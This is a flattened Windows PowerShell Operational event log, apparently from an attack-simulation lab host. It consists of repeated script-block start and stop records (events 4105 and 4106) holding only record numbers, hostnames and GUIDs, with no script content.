410615103150x0675041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 